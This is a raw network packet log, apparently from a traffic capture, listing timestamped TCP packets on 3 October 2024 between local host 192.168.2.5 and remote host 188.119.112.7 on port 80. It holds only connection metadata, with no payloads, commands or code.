Oct 3, 2024 20:42:01.858275890 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.858505011 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858598948 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858614922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858666897 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.858728886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.858778954 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.859044075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859119892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859134912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859163046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.859338045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859353065 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859369040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859390974 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.859400034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.859416962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.890722990 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.890851974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.890886068 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.933964014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934021950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934036016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934087992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934103012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934118986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934324026 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934329033 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934324026 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934348106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934362888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934416056 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934416056 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934581995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934597969 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934653997 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934801102 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934817076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934832096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934845924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934860945 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934876919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.934889078 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934914112 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.934931040 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.935276031 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935291052 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935441971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935456991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935472012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935487032 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935501099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935497046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.935518980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.935524940 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.935524940 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.935575008 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936031103 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936045885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936060905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936075926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936089993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936100006 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936105013 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936120987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936120987 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936135054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936151981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936166048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936204910 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936846018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936863899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936878920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936893940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936909914 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936923981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.936924934 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.936968088 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.937360048 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937375069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937390089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937405109 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937418938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937424898 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.937433958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937448978 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937449932 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.937464952 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937482119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937484980 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.937495947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.937503099 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.937537909 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.938203096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938221931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938235998 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938251019 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938265085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938280106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.938297987 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.938342094 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.939405918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939471006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939479113 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939492941 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.939541101 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.939618111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939635038 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939651012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939666986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939688921 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.939717054 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.939907074 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939924002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939939976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.939990997 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940192938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940208912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940226078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940241098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940244913 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940256119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940269947 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940284014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940289021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940304995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940310955 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940325022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940332890 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940371037 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940742016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940843105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940860033 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.940917015 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.940993071 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941009045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941023111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941040039 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941041946 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941076994 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941308022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941324949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941339016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941354036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941371918 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941397905 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941560030 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941574097 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941582918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941597939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941636086 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941658974 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.941952944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941968918 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941983938 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.941999912 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942012072 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942014933 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942030907 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942040920 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942047119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942061901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942070961 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942078114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942090988 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942138910 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942504883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942523003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942538977 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942554951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942568064 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942570925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942588091 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942605019 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:01.942609072 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.942632914 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:01.991285086 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.090121031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.230822086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.230873108 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.230921030 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.230945110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.230978966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231014967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231051922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231354952 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.231409073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231451988 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231462002 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.231487036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231520891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231554031 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231570005 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.231589079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231600046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.231631041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231663942 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231698036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231709957 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.231734991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.231741905 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.232121944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232279062 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232311964 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232345104 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232378960 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232410908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232443094 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232460022 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.232476950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232500076 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.232510090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232542992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.232563019 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.233133078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233165979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233196020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233241081 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.233247995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233263969 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.233280897 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233314991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233335972 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.233349085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233381033 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233413935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233434916 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.233447075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.233463049 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.234117985 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234152079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234184027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234215021 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.234216928 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234245062 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.234250069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234283924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234317064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234337091 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.234349966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234371901 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.234385967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234417915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.234469891 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235090971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235125065 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235157967 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235189915 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235192060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235208035 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235224962 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235256910 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235291958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235311031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235327005 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235340118 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235361099 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235418081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235451937 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235471010 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235501051 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.235938072 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.235972881 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236006021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236040115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236071110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236073017 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236092091 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236104965 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236139059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236160040 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236171961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236205101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236238003 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236255884 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236269951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236291885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236855984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236891031 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236924887 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236953020 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236958027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.236977100 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.236991882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237025976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237057924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237077951 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237092018 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237106085 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237124920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237158060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237210035 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237776995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237811089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237833023 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237844944 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237879992 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237912893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237943888 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237945080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.237962008 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.237977982 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238012075 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238040924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238061905 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238073111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238085985 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238110065 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238445997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238478899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238507986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238558054 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238591909 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238624096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238657951 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238661051 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238681078 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238692045 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238725901 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238759041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238775969 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238790989 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238806009 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238823891 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238857031 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238886118 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.238892078 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238924980 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238955975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.238975048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239012003 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.239574909 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.239609003 CEST	80	49704	188.119.112.7	192.168.2.5
